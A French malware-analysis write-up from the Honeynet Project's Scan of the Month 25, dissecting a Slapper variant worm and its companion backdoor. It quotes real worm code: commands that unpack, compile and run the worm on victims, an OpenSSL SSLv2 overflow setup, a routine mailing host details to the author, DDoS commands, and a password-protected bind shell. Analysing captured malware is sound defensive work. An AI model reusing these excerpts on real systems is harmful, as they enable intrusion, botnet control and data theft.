Depuis plus de deux ans, le projet Honeynet propose régulièrement d'étudier des outils, des tactiques utilisées par des pirates lors d'intrusion pour démontrer la réalité de ces attaques, pour apprendre comment un pirate agit pour s'en protéger et plus généralement pour améliorer les technologies et méthodes de collecte d'information. Le Scan of the Month 25 consiste à analyser le code source d'un worm capturé dans le traffic réseau de l'HoneyNet.

Analyse préléminaire

Le fichier à analyser se trouve sur http://old.honeynet.org/scans/scan25/.unlock. Après téléchargement, vérifier son intégrité en calculant les sommes de contrôles MD5 ou SHA1.

[kmaster@christophe sotm25]$ md5sum .unlock
a03b5be9264651ab30f2223592befb42  .unlock
[kmaster@christophe sotm25]$ sha1sum .unlock
4b018cdfdbcf71ddaa789e8ecc9ed7700660021a  .unlock

Le fichier n'a pas été corrompu lors du téléchargement. Commençons l'analyse. De façon à ne pas avoir de problème de tranche horaire, plaçons nous dans la zone horaire universelle UTC. La commande file permet d'apprendre que le fichier est compressé par gzip.

[kmaster@christophe sotm25]$ export TZ=UTC
[kmaster@christophe sotm25]$ file .unlock
.unlock: gzip compressed data, deflated, last modified: Fri Sep 20 10:59:04 2002, os: Unix
[kmaster@christophe sotm25]$ file -z .unlock
.unlock: GNU tar archive (gzip compressed data, deflated, last modified: Fri Sep 20 10:59:04 2002, os: Unix)
[kmaster@christophe sotm25]$ tar tzvf .unlock
-rw-r--r-- root/wheel    70981 2002-09-20 13:28:11 .unlock.c
-rw-r--r-- root/wheel     2792 2002-09-19 21:57:48 .update.c

Il s'agit en fait d'une archive .tar.gz générée le 20 septembre dernier à 10:59:04 heure universelle comprenant deux fichiers:

De façon à rendre l'analyse plus facile à suivre, j'ai généré des copies en ajoutant des numéros à toutes les lignes y compris les lignes vides (option -b a):

[kmaster@christophe sotm25]$ nl -b a .unlock.c > .unlock.nl.c
[kmaster@christophe sotm25]$ nl -b a .update.c > .update.nl.c

Un antivirus de Trend détecte le virus ELF_SLAPPER.C ainsi que McAfee.

Analyse du fichier .unlock.c

D'après le code source, le worm a été créé par contem@efnet avec des modifications de aion aion@ukr.net. La version 20092002 correspond au 20 septembre 2002, c'est cohérent avec la date relevée pour l'archive .tar.gz.

     3	 *           Peer-to-peer UDP Distributed Denial of Service (PUD)           *
     4	 *                         by contem@efnet                                  *
    38	 *  some modification done by aion (aion@ukr.net)                           *
    71	#define VERSION		20092002

Dissimulation

Quand le virus est actif sur un serveur, il apparait dans la liste des processus comme httpd . Attention, il y a un espace à la fin du nom. C'est une astuce très courante utilisée pour dissimuler le véritable nom d'un processus. Remarque, un ps -axuc affiche le véritable nom de la commande.

    78	#define PSNAME		"httpd "
  1805		strcpy(argv[0],PSNAME); 

Mécanisme de copie

Le ver se propage via le réseau sous forme uuencodée: la fonction sh() créé un fichier /tmp/.unlock.uu avec un copie local uuencodée de /tmp/.unlock.

  1416	  writem(sockfd,"cat > /tmp/.unlock.uu << __eof__; \n");
  1417	  zhdr(1);  
  1418	  encode(sockfd);
  1419	  zhdr(0);
  1420	  writem(sockfd,"__eof__\n");

Il créé les fichiers suivants sur le serveur infectée:

  1421	  writem(sockfd,"uudecode -o /tmp/.unlock /tmp/.unlock.uu;   "
  1422	                "tar xzf /tmp/.unlock -C /tmp/;              "
  1423			"gcc -o /tmp/httpd  /tmp/.unlock.c -lcrypto; "
  1424			"gcc -o /tmp/update /tmp/.update.c;\n");

/tmp/.unlock.c

  1425	  sprintf(rcv,  "/tmp/httpd %s; /tmp/update; \n",localip);
  1426	  writem(sockfd,rcv);
 sleep(3);
  1427	  writem(sockfd,"rm -rf /tmp/.unlock.uu /tmp/.unlock.c /tmp/.update.c "
  1428	                "       /tmp/httpd /tmp/update; exit; \n");
  1429	  for (;;) {
  1430	    FD_ZERO(&rset);
  1431	    FD_SET(sockfd, &rset);
  1432	    select(sockfd+1, &rset, NULL, NULL, NULL);
  1433	    if (FD_ISSET(sockfd, &rset)) if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) return 0;
  1434	  }
  1435	}

Le seul fichier restant est le fichier /tmp/.unlock. Il est utilisé pour le ver pour se propager.

Recherche de cible

Le ver scanne à la recherche de port TCP SCANPORT ouvert, c'est à dire le port TCP 80 ou http. Il scanne de manière séquentielle 65536 adresses IP avant de changer de réseau cible. Il utilise une liste de réseaux nommée classes afin de ne pas scanner inutilement des adresses non utilisées sur Internet ou les réseaux privés.

    67	#define SCANPORT	80
   ...
   291	unsigned char classes[] = { 3, 4, 6, 8, 9, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 24, 25, 26, 28, 29, 30, 32, 33, 34, 35, 38, 40, 43, 44, 45,
   292		46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 61, 62, 63, 64, 65, 66, 67, 68, 80, 81, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138,
   293		139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167,
   294		168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196,
   295		198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 224, 225, 226, 227, 228, 229,
   296		230, 231, 232, 233, 234, 235, 236, 237, 238, 239 };
   ...
  1807		a=classes[rand()%(sizeof classes)]; b=rand(); c=0; d=0;
  ...
  1907	#ifdef SCAN
  1908		if (myip) for (n=CLIENTS,p=0;n<(CLIENTS*2) && p<100;n++) if (clients[n].sock == 0) {
  1909			char srv[256];
  1910			if (d == 255) {
  1911				if (c == 255) {
  1912					a=classes[rand()%(sizeof classes)];
  1913					b=rand();
  1914					c=0;
  1915				}
  1916				else c++;
  1917				d=0;
  1918			}
  1919			else d++;
  1920			memset(srv,0,256);
  1921			sprintf(srv,"%d.%d.%d.%d",a,b,c,d);
  1922			clients[n].ext=time(NULL);
  1923			atcp_sync_connect(&clients[n],srv,SCANPORT);
  1924			p++;
  1925		}

Si le port TCP 80 est accessible, il ferme la connexion (ligne 1928) puis appelle la fonction exploit() (ligne 1933)

  1926		for (n=CLIENTS;n<(CLIENTS*2);n++) if (clients[n].sock != 0) {
  1927			p=atcp_sync_check(&clients[n]);
  1928			if (p == ASUCCESS || p == ACONNECT || time(NULL)-((unsigned long)clients[n].ext) >= 5) atcp_close(&clients[n]);
  1929			if (p == ASUCCESS) {
  1930				char srv[256];
  1931				conv(srv,256,clients[n].in.sin_addr.s_addr);
  1932				if (mfork() == 0) {
  1933					exploit(srv);
  1934					exit(0);
  1935				}
  1936			}
  1937		}

Exploitation de la vulnérabilité

La fonction GetAddress() renvoie le champs Server d'une réponse web. Ce champs contient généralement le nom et la version du serveur.

  1143	char *GetAddress(char *ip) {
  1144		struct sockaddr_in sin;
  1145		fd_set fds;
  1146		int n,d,sock;
  1147		char buf[1024];
  1148		struct timeval tv;
  1149		sock = socket(PF_INET, SOCK_STREAM, 0);
  1150		sin.sin_family = PF_INET;
  1151		sin.sin_addr.s_addr = inet_addr(ip);
  1152		sin.sin_port = htons(80);
  1153		if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) return NULL;
  1154		write(sock,"GET / HTTP/1.1\r\n\r\n",strlen("GET / HTTP/1.1\r\n\r\n"));
  1155		tv.tv_sec = 15;
  1156		tv.tv_usec = 0;
  1157		FD_ZERO(&fds);
  1158		FD_SET(sock, &fds);
  1159		memset(buf, 0, sizeof(buf));
  1160		if(select(sock + 1, &fds, NULL, NULL, &tv) > 0) {
  1161			if(FD_ISSET(sock, &fds)) {
  1162				if((n = read(sock, buf, sizeof(buf) - 1)) < 0) return NULL;
  1163				for (d=0;d<n;d++) if (!strncmp(buf+d,"Server: ",strlen("Server: "))) {
  1164					char *start=buf+d+strlen("Server: ");
  1165					for (d=0;d<strlen(start);d++) if (start[d] == '\n') start[d]=0;
  1166					cleanup(start);
  1167					return strdup(start);
  1168				}
  1169			}
  1170		}
  1171		return NULL;
  1172	}

Le ver vérifie que le serveur est sous Apache, puis cible certaines versions (liste à partir de la ligne 1241):
Gentooany version
Debian1.3.26
Red-Hat1.3.6, 1.3.9, 1.3.12, 1.3.19, 1.3.20, 1.3.22, 1.3.23, 1.3.26
SuSE1.3.12, 1.3.17, 1.3.19, 1.3.20, 1.3.23
Mandrake1.3.14, 1.3.19, 1.3.20, 1.3.23
Slackware1.3.26
Par défaut, il utilise les paramètres correspondants à la version 1.3.23 de RedHat (ligne 1715).

  1697	void exploit(char *ip) {
  1698		int port = 443;
  1699		int i;
  1700		int arch=-1;
  1701		int N = 20;
  1702		ssl_conn* ssl1;
  1703		ssl_conn* ssl2;
  1704		char *a;
  1705	
  1706		alarm(3600);
  1707		if ((a=GetAddress(ip)) == NULL) exit(0);
  1708		if (strncmp(a,"Apache",6)) exit(0);
  1709		for (i=0;i<MAX_ARCH;i++) {
  1710			if (strstr(a,architectures[i].apache) && strstr(a,architectures[i].os)) {
  1711				arch=i;
  1712				break;
  1713			}
  1714		}
  1715		if (arch == -1) arch=9;
	*(int*)&overwrite_next_chunk[156] = cipher;
	*(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr - 12;
	*(int*)&overwrite_next_chunk[196] = ciphers + 16;

	send_client_hello(ssl2);
	get_server_hello(ssl2);

	send_client_master_key(ssl2, overwrite_next_chunk, sizeof(overwrite_next_chunk)-1);

Il exploite un buffer overflow de OpenSSLv2 dans la gestion de la clée du client BID 5363.

Quelles informations sont envoyées par le worm ?

Lorsque le programme /tmp/httpd (Version compilé de .unlock.c) est executé par le ver sur la machine nouvellement infectée, la fonction mailme() va envoyer un mail à aoin@ukr.net avec l'hostid tel que retrouné par gethostid (fréquement 8323328 correspondant à l'adresse IP 127.0.0.1), le nom du serveur et son adresse IP publique.

    77	#define MAILTO    	"aion@ukr.net"

    94	int mailme(char *sip)  
    95	{
    96	  char cmdbuf[256], buffer[128]; 
    97	  int pip; long inet;
    98	  struct sockaddr_in sck;
    99	  struct hostent *hp;
   100	
   101	  if(!(pip=socket(PF_INET, SOCK_STREAM, 0))) return -1;
   102	  if((inet=inet_addr(MAILSRV))==-1)
   103	  {
   104	    if(hp=gethostbyname(MAILSRV))
   105	        memcpy (&inet, hp->h_addr, 4);
   106	      else return -1;
   107	  }
   108	  sck.sin_family = PF_INET;
   109	  sck.sin_port = htons (25);
   110	  sck.sin_addr.s_addr = inet;
   111	  if(connect(pip, (struct sockaddr *) &sck, sizeof (sck))<0) return -1;
   112	
   113	  gethostname(buffer,128);
   114	  sprintf(cmdbuf,"helo test\r\n");                     writem(pip, cmdbuf);
   115	  recv(pip,cmdbuf,sizeof(cmdbuf),0);
   116	  sprintf(cmdbuf,"mail from: test@microsoft.com\r\n"); writem(pip, cmdbuf);
   117	  recv(pip,cmdbuf,sizeof(cmdbuf),0);
   118	  sprintf(cmdbuf,"rcpt to: "MAILTO"\r\n");             writem(pip, cmdbuf);
   119	  recv(pip,cmdbuf,sizeof(cmdbuf),0);
   120	  sprintf(cmdbuf,"data\r\n");                          writem(pip, cmdbuf);
   121	  recv(pip,cmdbuf,sizeof(cmdbuf),0);
   122	  sprintf(cmdbuf," hostid:   %d \r\n"
   123	                 " hostname: %s \r\n"
   124			 " att_from: %s \r\n",gethostid(),buffer,sip);  
   125	                                                       writem(pip, cmdbuf);		 
   126	  recv(pip,cmdbuf,sizeof(cmdbuf),0);
   127	  sprintf(cmdbuf,"\r\n.\r\nquit\r\n");                 writem(pip, cmdbuf);
   128	  recv(pip,cmdbuf,sizeof(cmdbuf),0);
   129	  return close(pip);
   130	}

  1802	        mailme(argv[1]); zhdr(0);

Mécanisme de communication du worm

Le ver communique en utilisant le port UDP 4156. Il utilise son propre protocole P2P de communication avec un mécanisme de chiffrement rudimentaire.

    66	#define PORT		4156
   932		audp_relay(&udpserver,&ts,srv,PORT);
   948				audp_relay(&udpserver,&ts,srv,PORT);
  1781		if (audp_listen(&udpserver,PORT) != 0) {
   ...

Le ver peut être commandé à distance, il peut lancer des dénis de services (saturation UDP, TCP ou DNS) mais il peut aussi relayer des communications TCP (fonction 0x21) ou recolter des adresses email à partir des fichiers du disque dur (fonction 0x2D).

grep case .unlock.nl.c
...
  2034                                          case 0x20: { // Info
  2058                                          case 0x21: { // Open a bounce
  2098                                          case 0x22: { // Close a bounce
  2107                                          case 0x23: { // Send a message to a bounce
  2116                                          case 0x24: { // Run a command
  2152                                          case 0x25: {
  2154                                          case 0x26: { // Route
  2198                                          case 0x27: {
  2200                                          case 0x28: { // List
  2205                                          case 0x29: { // Udp flood
  2246                                          case 0x2A: { // Tcp flood
  2279                                          case 0x2B: { // IPv6 Tcp flood
  2308                                          case 0x2C: { // Dns flood
  2386                                          case 0x2D: { // Email scan
  2410                                          case 0x70: { // Incomming client
  2436                                          case 0x71: { // Receive the list
  2457                                          case 0x72: { // Send the list
  2460                                          case 0x73: { // Get my IP
  2468                                          case 0x74: { // Transmit their IP
  2477                                          case 0x41:   //  --|
  2478                                          case 0x42:   //    |
  2479                                          case 0x43:   //    |
  2480                                          case 0x44:   //    |---> Relay to client
  2481                                          case 0x45:   //    |
  2482                                          case 0x46:   //    |
  2483                                          case 0x47: { //  --|

Analyse du fichier .update.c

Le fichier .update.c est le code source d'une backdoor écrite en C. Ce programme écoute sur le port TCP 1052 et nécessite le mot de passe aion1981. Son auteur est aion (aion@ukr.net).

     1	/*                                             code by aion (aion@ukr.net) 
     2	 ****************************************************************************/
     3	
     4	#define PORT  	  1052
     5	#define PASS  	  "aion1981"   

    63		        if( !strncmp(temp_buff,PASS,strlen(PASS)) )
    64	                  execl("/bin/sh","sh -i",(char *)0); 

Cette backdoor a été conçu pour être utilisable par des utilisateurs non-root. Pour se dissimuler, elle ne peut donc pas utiliser de socket en mode raw comme dans le Reverse Challenge. L'auteur a trouvé une astuce simple, une socket TCP est ouverte pendant 10 secondes puis attend 5 minutes avant de se remettre en mode d'écoute. Ainsi, un administrateur a peu de chance d'appercevoir ce programme dans la sortie d'un netstat.

    48	    while (1) { 
    49	        fcntl(soc_cli, F_SETFL, O_NONBLOCK); 
    50	        fcntl(soc_des, F_SETFL, O_NONBLOCK); 
    51	        
    52		for(stimer=time(NULL);(stimer+UPTIME)>time(NULL);)
    53		{
    54		  soc_cli = accept(soc_des, 
    55		              (struct sockaddr *) &client_addr, sizeof(client_addr));
   ...
    69		  sleep(1);
    70		}                                   
    71	
    72	        closeall(); 
    73		sleep(SLEEPTIME);

De plus, ce programme masque son nom véritable, il apparait sous le nom de update .

     8	#define PSNAME    "update   "  // what copy to argv[0]

    32	main (int argc,char **argv) 
    33	{ 
    34	    for(retval=0;argv[0][retval]!=0;retval++) argv[0][retval]=0; 
    35	    strcpy(argv[0],PSNAME);

Conclusion

L'analyse de ces programmes a été assez simple étant donné que le ver se propage avec ses sources. Ce ver mélange l'exploitation d'une faille de sécurité, une backdoor et un ensemble complet de fonctions allant des denis de service jusqu'aux fonctions de rebond ainsi qu'une fonction de collecte d'adresse email ce qui peut intéresser les spammers. Armé de ce genre de programme, un pirate peut rebondir via plusieurs machines avant de lancer une attaque, il peut probable que l'on puisse remonter jusqu'à lui. Pour se protéger, il aurait suffit d'un firewall correctement configuré pour bloquer ses communications et d'un serveur web tenu à jour.

Christophe GRENIER, grenier@cgsecurity.org,
Consultant Sécurité chez Global Secure